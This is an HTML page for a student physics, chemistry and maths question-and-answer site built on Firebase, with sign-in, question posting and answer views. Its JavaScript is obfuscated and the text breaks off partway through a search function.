<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DS& DATABASE</title>
    <!-- MathJax -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/MathJax.js?config=TeX-MML-AM_CHTML"></script>
    <!-- Firebase -->
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-app-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-auth-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-firestore-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-storage-compat.js"></script>
    <link rel="icon" type="image/jpeg" href="logo.jpeg">
    <!-- Tailwind CSS -->
    <script src="https://cdn.tailwindcss.com"></script>
   
</head>
<body class="bg-gray-50">
    <!-- Auth Screen -->
    <div id="authScreen" class="min-h-screen flex items-center justify-center bg-gray-50 py-12 px-4 sm:px-6 lg:px-8">
        <div class="max-w-md w-full space-y-8">
            <div class="text-center">
                <h2 class="mt-6 text-3xl font-extrabold text-gray-900">DS& DATABASE</h2>
                <p class="mt-2 text-sm text-gray-600">Sign in to your account</p>
            </div>
            <div class="mt-8 space-y-6">
                <div class="rounded-md shadow-sm -space-y-px">
                    <div>
                        <input id="email" type="email" required class="appearance-none rounded-none relative block w-full px-3 py-2 border border-gray-300 placeholder-gray-500 text-gray-900 rounded-t-md focus:outline-none focus:ring-green-500 focus:border-green-500 focus:z-10 sm:text-sm" placeholder="Email address">
                    </div>
                    <div id="passwordField">
                        <input id="password" type="password" class="appearance-none rounded-none relative block w-full px-3 py-2 border border-gray-300 placeholder-gray-500 text-gray-900 rounded-b-md focus:outline-none focus:ring-green-500 focus:border-green-500 focus:z-10 sm:text-sm" placeholder="Password">
                    </div>
                </div>

                <div class="flex items-center justify-between">
                    <div class="flex items-center">
                        <input id="magicLink" type="checkbox" class="h-4 w-4 text-green-600 focus:ring-green-500 border-gray-300 rounded">
                        <label for="magicLink" class="ml-2 block text-sm text-gray-900">Use magic link</label>
                    </div>
                </div>

                <div>
                    <button onclick="handleAuth()" class="group relative w-full flex justify-center py-2 px-4 border border-transparent text-sm font-medium rounded-md text-white bg-green-600 hover:bg-green-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-green-500">
                        Sign in
                    </button>
                </div>
            </div>
        </div>
    </div>

    <!-- Main App -->
    <div id="mainApp" class="hidden">
        <!-- Navigation -->
        <nav class="bg-white shadow-lg">
            <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
                <div class="flex justify-between h-16">
                    <div class="flex">
                        <div class="flex-shrink-0 flex items-center">
                            <h1 class="text-2xl font-bold text-green-600">DS& DATABASE</h1>
                        </div>
                    </div>
                    <div class="flex items-center">
                        <span id="userEmail" class="mr-4 text-gray-600"></span>
                        <button onclick="signOut()" class="bg-red-500 text-white px-4 py-2 rounded-md text-sm font-medium">Sign Out</button>
                    </div>
                </div>
            </div>
        </nav>

        <!-- Main Content -->
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
            <!-- Tabs -->
            <div class="flex space-x-8 mb-8">
                <button onclick="switchTab('feed')" class="tab-button px-4 py-2 text-lg font-medium" data-tab="feed">Feed</button>
                <button onclick="switchTab('ask')" class="tab-button px-4 py-2 text-lg font-medium" data-tab="ask">Ask Question</button>
                <button onclick="switchTab('unanswered')" class="tab-button px-4 py-2 text-lg font-medium" data-tab="unanswered">Unanswered</button>
            </div>

            <!-- Feed View -->
            <div id="feedView" class="tab-content">
                <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
                    <!-- Recent Questions -->
                    <div class="bg-white rounded-lg shadow p-6">
                        <h2 class="text-xl font-semibold mb-4">Recent Questions</h2>
                        <div id="recentQuestions" class="space-y-4"></div>
                    </div>
                    <!-- Recently Answered -->
                    <div class="bg-white rounded-lg shadow p-6">
                        <h2 class="text-xl font-semibold mb-4">Recently Answered</h2>
                        <div id="recentAnswers" class="space-y-4"></div>
                    </div>
                </div>
            </div>

            <!-- Ask Question View -->
            <div id="askView" class="tab-content hidden">
                <div class="bg-white rounded-lg shadow p-6">
                    <h2 class="text-xl font-semibold mb-4">Ask a Question</h2>
                    <form id="questionForm" class="space-y-6">
                        <div>
                            <label class="block text-sm font-medium text-gray-700">Subject</label>
                            <select id="subject" class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                                <option value="">Select Subject</option>
                                <option value="PHYSICS">Physics</option>
                                <option value="CHEMISTRY">Chemistry</option>
                                <option value="MATHS">Mathematics</option>
                            </select>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700">Chapter</label>
                            <input type="text" id="chapter" class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700">Question</label>
                            <textarea id="question" rows="4" class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500" placeholder="Use $$...$$for equations"></textarea>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700">Attachments</label>
                            <input type="file" id="questionFile" class="mt-1 block w-full">
                            <div id="questionFilePreview" class="mt-2"></div>
                        </div>
                        <button type="submit" class="w-full bg-green-600 text-white px-4 py-2 rounded-md hover:bg-green-700">Submit Question</button>
                    </form>
                </div>
            </div>

            <!-- Unanswered Questions View -->
            <div id="unansweredView" class="tab-content hidden">
                <div class="bg-white rounded-lg shadow p-6">
                    <h2 class="text-xl font-semibold mb-4">Unanswered Questions</h2>
                    <div id="unansweredQuestions" class="space-y-4"></div>
                </div>
            </div>
        </div>
    </div>

    <script>
        const _0x1f16d9=_0x2f9a;(function(_0x5c7578,_0x21d530){const _0x1c4fac=_0x2f9a,_0x5e8b20=_0x5c7578();while(!![]){try{const _0xb272ec=-parseInt(_0x1c4fac(0x130))/0x1*(-parseInt(_0x1c4fac(0xff))/0x2)+parseInt(_0x1c4fac(0xb5))/0x3*(parseInt(_0x1c4fac(0x76))/0x4)+-parseInt(_0x1c4fac(0x9b))/0x5*(parseInt(_0x1c4fac(0x75))/0x6)+parseInt(_0x1c4fac(0x112))/0x7+parseInt(_0x1c4fac(0x6e))/0x8*(parseInt(_0x1c4fac(0xe2))/0x9)+-parseInt(_0x1c4fac(0x6d))/0xa*(-parseInt(_0x1c4fac(0x88))/0xb)+parseInt(_0x1c4fac(0xc6))/0xc*(-parseInt(_0x1c4fac(0x101))/0xd);if(_0xb272ec===_0x21d530)break;else _0x5e8b20['push'](_0x5e8b20['shift']());}catch(_0x32d4db){_0x5e8b20['push'](_0x5e8b20['shift']());}}}(_0x5d7e,0xc996a));const firebaseConfig={'apiKey':'AIzaSyDBvlETwS3_4zy40inkdL49CpqM5TnapOc','authDomain':_0x1f16d9(0x9f),'databaseURL':_0x1f16d9(0xc1),'projectId':_0x1f16d9(0x115),'storageBucket':_0x1f16d9(0xc7),'messagingSenderId':_0x1f16d9(0x8b),'appId':_0x1f16d9(0x132),'measurementId':'G-6BPKTW6V8X'};async function createIndexes(){const _0x36647e=_0x1f16d9;try{await db['collection']('questions')[_0x36647e(0x119)](_0x36647e(0x9e))['orderBy']('answersCount')[_0x36647e(0x114)]();}catch(_0x5e37a0){console['log'](_0x36647e(0x66));}}firebase[_0x1f16d9(0xbc)](firebaseConfig);const auth=firebase['auth'](),db=firebase[_0x1f16d9(0xa2)](),storage=firebase[_0x1f16d9(0xe9)]();MathJax['Hub'][_0x1f16d9(0x78)]({'tex2jax':{'inlineMath':[['$','$'],['\x5c(','\x5c)']],'processEscapes':!![]}}),auth['onAuthStateChanged'](_0x23519a=>{const _0x290eeb=_0x1f16d9;_0x23519a?(document[_0x290eeb(0xac)](_0x290eeb(0xe0))[_0x290eeb(0xa5)][_0x290eeb(0x69)](_0x290eeb(0x7d)),document[_0x290eeb(0xac)](_0x290eeb(0xd8))['classList'][_0x290eeb(0xbe)]('hidden'),document[_0x290eeb(0xac)](_0x290eeb(0xf5))[_0x290eeb(0xe3)]=_0x23519a[_0x290eeb(0x7f)],loadContent()):(document[_0x290eeb(0xac)](_0x290eeb(0xe0))['classList'][_0x290eeb(0xbe)](_0x290eeb(0x7d)),document[_0x290eeb(0xac)](_0x290eeb(0xd8))[_0x290eeb(0xa5)]['add'](_0x290eeb(0x7d)));}),document['getElementById'](_0x1f16d9(0xb0))[_0x1f16d9(0x103)]('change',_0x21ba08=>{const _0x559942=_0x1f16d9;document[_0x559942(0xac)](_0x559942(0x95))[_0x559942(0x7b)][_0x559942(0x107)]=_0x21ba08['target']['checked']?_0x559942(0xcb):_0x559942(0x105);});function _0x5d7e(){const _0xb3a017=['\x27)\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22bg-green-600\x20text-white\x20px-4\x20py-2\x20rounded-md\x20hover:bg-green-700\x20w-full\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Submit\x20Answer\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20','\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22block\x20w-full\x20text-sm\x20text-gray-500\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:mr-4\x20file:py-2\x20file:px-4\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:rounded-full\x20file:border-0\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:text-sm\x20file:font-semibold\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file:bg-green-50\x20file:text-green-700\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hover:file:bg-green-100\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','https://ds-summaries-default-rtdb.asia-southeast1.firebasedatabase.app','answerFile_','Pwdws-dGbJ.FvBerOcel.naLQppqABMXEZMhnGSqknPOhfCUjkuRSg','map','answerStatusFilter','44573604RsTqci','ds-summaries.appspot.com','#answerFile_','You\x20have\x20already\x20answered\x20this\x20question.\x20You\x20can\x20edit\x20your\x20existing\x20answer\x20instead.','\x22\x20target=\x22_blank\x22\x20class=\x22text-blue-500\x20hover:underline\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20View\x20attached\x20file\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>','none','Error\x20loading\x20unanswered\x20questions:','unansweredQuestions','hasAnswers','length','answers','\x20questions\x20found.</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>','setItem','FieldValue','unanswered','error','uid','querySelectorAll','mainApp','Error\x20submitting\x20question.\x20Please\x20try\x20again.','createElement','toggle','\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22flex\x20justify-between\x20items-start\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22inline-block\x20bg-green-100\x20text-green-800\x20text-sm\x20px-2\x20py-1\x20rounded\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','<div\x20class=\x22loading\x22>Loading...</div>','\x22\x20alt=\x22Question\x20attachment\x22\x20class=\x22max-w-xs\x20rounded-lg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>','recentQuestionsList','authScreen','HuIhyRtXtpsKX:/BE/dkKzzsGSCjZD-pFgQwaUradisEezJFYubugnnTV.vJNeLZTrcLBel.QzapxWpz/XGYGerrorJ.xhTtmnlMVfXZEbCQfxWfSWQUEGCANEggqqDJfnuMBWVIyVK','356931ZRVVmS','textContent','toISOString','key','empty','Enter','<div\x20class=\x22mt-4\x20text-gray-600\x22>This\x20question\x20has\x20been\x20answered.</div>','storage','data-tab','checked','<div\x20class=\x22text-gray-500\x20text-center\x20py-4\x22>No\x20questions\x20found.</div>','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22space-y-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22flex\x20justify-between\x20items-center\x20mb-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<h3\x20class=\x22text-lg\x20font-semibold\x20text-gray-900\x22>Recent\x20Questions</h3>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22text-sm\x20text-gray-500\x22>Last\x205\x20questions</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22space-y-4\x22\x20id=\x22recentQuestionsList\x22></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20','target','result','[HuIyRXKXBEkKzzGSCjZDFgQwUEzJFYubugnnTVJNLZTLBQzxWzXGYGJxTnMVfXZEbCQfxWfSWQUEGCANEggqqDJfnuMBWVIyVK]','message','Error\x20searching\x20questions:','querySelector','put','userEmail','feed','\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22w-full\x20rounded-md\x20border-gray-300\x20shadow-sm\x20focus:border-green-500\x20focus:ring-green-500\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20rows=\x223\x22>','Please\x20write\x20an\x20answer\x20before\x20submitting','\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-6\x20border-t\x20pt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<h3\x20class=\x22text-lg\x20font-medium\x20text-gray-900\x20mb-4\x22>Edit\x20Your\x20Answer</h3>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22space-y-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<textarea\x20id=\x22answer_','questions/','answers/','appendChild','\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-6\x20border-t\x20pt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<h3\x20class=\x22text-lg\x20font-medium\x20text-gray-900\x20mb-4\x22>Add\x20Answer</h3>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22space-y-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<textarea\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20id=\x22answerText_','emailForSignIn','86jghETG','password','13sHyVxR','\x0a\x20\x20\x20\x20','addEventListener','Check\x20your\x20email\x20for\x20the\x20magic\x20link!','block','text','display','collection','answered','now','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-center\x20py-8\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-gray-500\x22>No\x20','\x22\x20target=\x22_blank\x22\x20class=\x22text-blue-500\x20hover:underline\x22>Current\x20attachment</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','split','userId','</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22text-gray-500\x20text-sm\x22>','recentAnswers','ref','11257365NFKJsc','return\x20(function()\x20','get','ds-summaries','getAttribute','archive','fileURL','orderBy','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\x22','preventDefault','<p\x20class=\x22text-gray-500\x22>No\x20unanswered\x20questions\x20found.</p>','\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20target=\x22_blank\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22text-blue-500\x20hover:underline\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Click\x20here\x20to\x20create\x20the\x20required\x20index\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</a>','index','value','\x22\x20alt=\x22File\x20preview\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22max-w-xs\x20rounded-lg\x20mt-2\x22>','desc','answerFilePreview_','.max-w-7xl','load','seconds','find','Answer\x20updated\x20successfully!','apply','Error\x20updating\x20answer:','Typeset','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-red-500\x22>Error\x20loading\x20questions.\x20Please\x20create\x20the\x20necessary\x20index.</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\x22','signInWithEmailAndPassword','startAfter','join','some','25181kEEJZV','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-2\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\x22','1:341029977777:web:0250c849d31def529a2c90','Answer\x20submitted\x20successfully!','\x22\x20class=\x22mt-2\x22></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20onclick=\x22submitAnswer(\x27','submit','Indexes\x20need\x20to\x20be\x20created.\x20Follow\x20the\x20link\x20in\x20the\x20error\x20message.','subject','data','add','\x27)\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22bg-green-600\x20text-white\x20px-4\x20py-2\x20rounded-md\x20hover:bg-green-700\x20w-full\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Update\x20Answer\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20','Just\x20now','questions','159450RuGCIk','328iAvrCP','reset','toLocaleString','<p\x20class=\x22text-red-500\x22>Error\x20loading\x20answers.\x20Please\x20try\x20again.</p>','questionFilePreview','<a\x20href=\x22','charCodeAt','3942888ALqWvU','76bWgkQw','\x0a\x20\x20\x20\x20\x20\x20\x20\x20','Config','update','tab-active','style','\x22\x20target=\x22_blank\x22\x20class=\x22text-blue-500\x20hover:underline\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20View\x20attached\x20file\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>','hidden','getDownloadURL','email','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20id=\x22answerFilePreview_','increment','fade-enter','</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22text-gray-500\x20text-sm\x22>','Hub','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22ml-2\x20text-gray-600\x20text-sm\x22>','chapter','{}.constructor(\x22return\x20this\x22)(\x20)','253eWjMxw','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22mt-2\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22','readAsDataURL','341029977777','serverTimestamp','questionFile','docs','startsWith','name','replace','loadMoreBtn','files','[PwwGJFBOnLQqABMXEZMhnGSqknPOhfCUjkuRSg]','passwordField','.tab-content','currentUser','.tab-button','answerText_','archiveQuestions','5BFUqhI','answer_','Queue','timestamp','ds-summaries.firebaseapp.com','forEach','innerHTML','firestore','log','limit','classList','trim','recentQuestions','[data-tab=\x22','questionText','fromCharCode','lastAnswerTimestamp','getElementById','answersCount','className','where','magicLink','type','</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','.tab-active','includes','81093MiLTzt','Error\x20submitting\x20answer:','toLowerCase','keyup','create\x20it\x20here:\x20','location','Error\x20updating\x20answer.\x20Please\x20try\x20again.','initializeApp','doc','remove'];_0x5d7e=function(){return _0xb3a017;};return _0x5d7e();}async function handleAuth(){const _0x3dab9c=_0x1f16d9,_0x2825ba=document[_0x3dab9c(0xac)]('email')['value'],_0x1b4cbd=document[_0x3dab9c(0xac)](_0x3dab9c(0xb0))[_0x3dab9c(0xeb)];if(_0x1b4cbd)try{await auth['sendSignInLinkToEmail'](_0x2825ba,{'url':window[_0x3dab9c(0xba)]['href'],'handleCodeInApp':!![]}),localStorage[_0x3dab9c(0xd2)](_0x3dab9c(0xfe),_0x2825ba),alert(_0x3dab9c(0x104));}catch(_0x11b789){alert(_0x11b789['message']);}else{const _0x464c96=document[_0x3dab9c(0xac)](_0x3dab9c(0x100))[_0x3dab9c(0x11f)];try{await auth[_0x3dab9c(0x12c)](_0x2825ba,_0x464c96);}catch(_0x1287c2){alert(_0x1287c2['message']);}}}function signOut(){auth['signOut']();}function switchTab(_0xedc81e){const _0x40bcd3=_0x1f16d9;document[_0x40bcd3(0xd7)](_0x40bcd3(0x96))[_0x40bcd3(0xa0)](_0x2deac0=>_0x2deac0[_0x40bcd3(0xa5)]['add']('hidden')),document[_0x40bcd3(0xd7)](_0x40bcd3(0x98))[_0x40bcd3(0xa0)](_0x2b8f24=>_0x2b8f24['classList']['remove'](_0x40bcd3(0x7a))),document[_0x40bcd3(0xac)](_0xedc81e+'View')[_0x40bcd3(0xa5)][_0x40bcd3(0xbe)](_0x40bcd3(0x7d)),document[_0x40bcd3(0xf3)](_0x40bcd3(0xa8)+_0xedc81e+'\x22]')[_0x40bcd3(0xa5)][_0x40bcd3(0x69)](_0x40bcd3(0x7a));if(_0xedc81e===_0x40bcd3(0xf6))loadContent();else{if(_0xedc81e===_0x40bcd3(0xd4))loadUnansweredQuestions();}}async function loadContent(){await Promise['all']([loadRecentQuestions(),loadRecentAnswers()]);}async function loadRecentQuestions(){const _0x24d57a=_0x1f16d9,_0x181d94=document['getElementById'](_0x24d57a(0xa7));_0x181d94[_0x24d57a(0xa1)]=_0x24d57a(0xdd);try{const _0x561675=await db['collection'](_0x24d57a(0x6c))['orderBy']('timestamp',_0x24d57a(0x121))[_0x24d57a(0xa4)](0x5)[_0x24d57a(0x114)]();if(_0x561675[_0x24d57a(0xe6)]){_0x181d94['innerHTML']=_0x24d57a(0xec);return;}_0x181d94[_0x24d57a(0xa1)]=_0x24d57a(0xed);const _0x1926bb=document['getElementById'](_0x24d57a(0xdf));_0x561675[_0x24d57a(0xa0)](_0x1ebe7a=>{const _0x3ac63f=_0x24d57a,_0x535b46=_0x1ebe7a[_0x3ac63f(0x68)](),_0x4f1f00=createQuestionCard(_0x1ebe7a['id'],_0x535b46);_0x1926bb[_0x3ac63f(0xfc)](_0x4f1f00);}),MathJax[_0x24d57a(0x84)][_0x24d57a(0x9d)]([_0x24d57a(0x12a),MathJax[_0x24d57a(0x84)]]);}catch(_0x2c4d2a){console[_0x24d57a(0xd5)]('Error\x20loading\x20recent\x20questions:',_0x2c4d2a),_0x181d94[_0x24d57a(0xa1)]='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22bg-red-50\x20text-red-500\x20p-4\x20rounded-lg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20loading\x20questions.\x20Please\x20try\x20again\x20later.</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20';}}let lastDoc=null;const QUESTIONS_PER_PAGE=0xa;async function searchQuestions(_0x13cdb0=![]){const _0x7887b6=_0x1f16d9,_0x440751=document[_0x7887b6(0xac)](_0x7887b6(0x9a)),_0x54dba6=document[_0x7887b6(0xac)]('searchInput')[_0x7887b6(0x11f)][_0x7887b6(0xb7)](),_0x383d0a=document[_0x7887b6(0xac)]('subjectFilter')['value'],_0x5309dd=document[_0x7887b6(0xac)](_0x7887b6(0xc5))[_0x7887b6(0x11f)],_0x50150c=document[_0x7887b6(0xac)](_0x7887b6(0x92));!_0x13cdb0&&(_0x440751[_0x7887b6(0xa1)]=_0x7887b6(0xdd),lastDoc=null);try{let _0x4f460d=db[_0x7887b6(0x108)]('questions')[_0x7887b6(0x119)]('timestamp','desc');_0x383d0a&&(_0x4f460d=_0x4f460d[_0x7887b6(0xaf)](_0x7887b6(0x67),'==',_0x383d0a));if(_0x5309dd===_0x7887b6(0x109))_0x4f460d=_0x4f460d['where']('hasAnswers','==',!![]);else _0x5309dd===_0x7887b6(0xd4)&&(_0x4f460d=_0x4f460d['where']('answersCount','==',0x0));lastDoc&&(_0x4f460d=_0x4f460d[_0x7887b6(0x12d)](lastDoc));_0x4f460d=_0x4f460d[_0x7887b6(0xa4)](QUESTIONS_PER_PAGE);const _0x3e804b=await _0x4f460d[_0x7887b6(0x114)]();!_0x13cdb0&&(_0x440751['innerHTML']='');if(_0x3e804b['empty']&&!_0x13cdb0){_0x440751[_0x7887b6(0xa1)]=_0x7887b6(0x10b)+(_0x5309dd||'')+_0x7887b6(0xd1),_0x50150c[_0x7887b6(0xa5)]['add'](_0x7887b6(0x7d));return;}_0x3e804b['forEach'](_0x44292a=>{const _0x52dc2b=_0x7887b6,_0xa628c=_0x44292a[_0x52dc2b(0x68)]();if(!_0x54dba6||_0xa628c[_0x52dc2b(0xa9)]['toLowerCase']()['includes'](_0x54dba6)||_0xa628c['chapter'][_0x52dc2b(0xb7)]()[_0x52dc2b(0xb4)](_0x54dba6)){const 